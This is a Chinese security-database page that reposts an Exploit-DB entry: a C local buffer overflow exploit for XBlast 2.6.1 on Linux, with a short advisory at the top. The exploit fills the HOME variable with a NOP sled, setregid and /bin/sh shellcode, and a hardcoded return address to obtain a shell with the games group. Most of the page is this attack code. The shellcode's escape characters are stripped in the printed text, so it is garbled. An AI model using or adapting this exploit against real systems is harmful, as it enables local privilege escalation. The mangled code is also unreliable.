XBlast 2.6.1 – ‘HOME Environment’ Local Buffer Overflow

XBlast 2.6.1 – ‘HOME Environment’ Local Buffer Overflow

漏洞ID 1054058 漏洞类型
发布时间 2003-07-28 更新时间 2003-07-28
图片[1]-XBlast 2.6.1 – ‘HOME Environment’ Local Buffer Overflow-安全小百科CVE编号 N/A
图片[2]-XBlast 2.6.1 – ‘HOME Environment’ Local Buffer Overflow-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22965
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/8296/info

XBlast is contains a locally exploitable buffer overflow vulnerability due to insufficient bounds checking of data supplied via the HOME environment variable. Successful exploitation would allow a local user to execute code with a gid of games.

/*  0x333xblast =>  xblast 2.6.1 local exploit
 *
 *	xblast could be overflowed by passing a long $HOME
 *	env. For more info read advisory @ :
 *
 *	http://www.0x333.org/advisories/outsider-003.txt
 *
 *	* note * :
 *	exploit tested against xblast-2.6.beta-1.i386.rpm
 *	under Red Hat Linux 9.0. xblaste is not install
 *	by default +s.
 *
 *	coded by c0wboy
 *
 *  (c) 0x333 Outsider Security Labs / www.0x333.org
 *
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>


#define BIN 	"/usr/X11R6/bin/xblast"
#define SIZE	1032

#define RET		0xbffffb38
#define NOP		0x90


unsigned char shellcode[] =

	/* setregid (20,20) shellcode */
	"x31xc0x31xdbx31xc9xb3x14xb1x14xb0x47"
	"xcdx80"

	/* exec /bin/sh shellcode */

	"x31xd2x52x68x6ex2fx73x68x68x2fx2fx62"
	"x69x89xe3x52x53x89xe1x8dx42x0bxcdx80";


void banner (void);
void memret (char *, int, int, int);


void banner (void)
{
	fprintf (stdout, "nn ---       xblast local exploit by c0wboy      ---n");
	fprintf (stdout, " --- Outsiders Se(c)urity Labs / www.0x333.org ---nn");

	fprintf (stdout, " [NOW PRESS 'y' TO SPAWN THE SHELL]nn");
}


void memret (char *buffer, int ret, int size, int align)
{
        int i;
        int * ptr = (int *) (buffer + align);
                                                                                
        for (i=0; i<size; i+=4)
                *ptr++ = ret;
                                                                                
        ptr = 0x0;
}


int main ()
{
	int ret = RET;
	char out[SIZE];

	memret ((char *)out, ret, SIZE-1, 0);

	memset ((char *)out, NOP, 333);
	memcpy ((char *)out+333, shellcode, strlen(shellcode));

	setenv ("HOME", out, 1);

	banner ();
	execl (BIN, BIN, 0x0);
}

相关推荐: NetBSD漏洞

NetBSD漏洞 漏洞ID 1205911 漏洞类型 未知 发布时间 2001-03-12 更新时间 2001-03-12 CVE编号 CVE-2000-0315 CNNVD-ID CNNVD-200103-009 漏洞平台 N/A CVSS评分 5.0 |漏…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享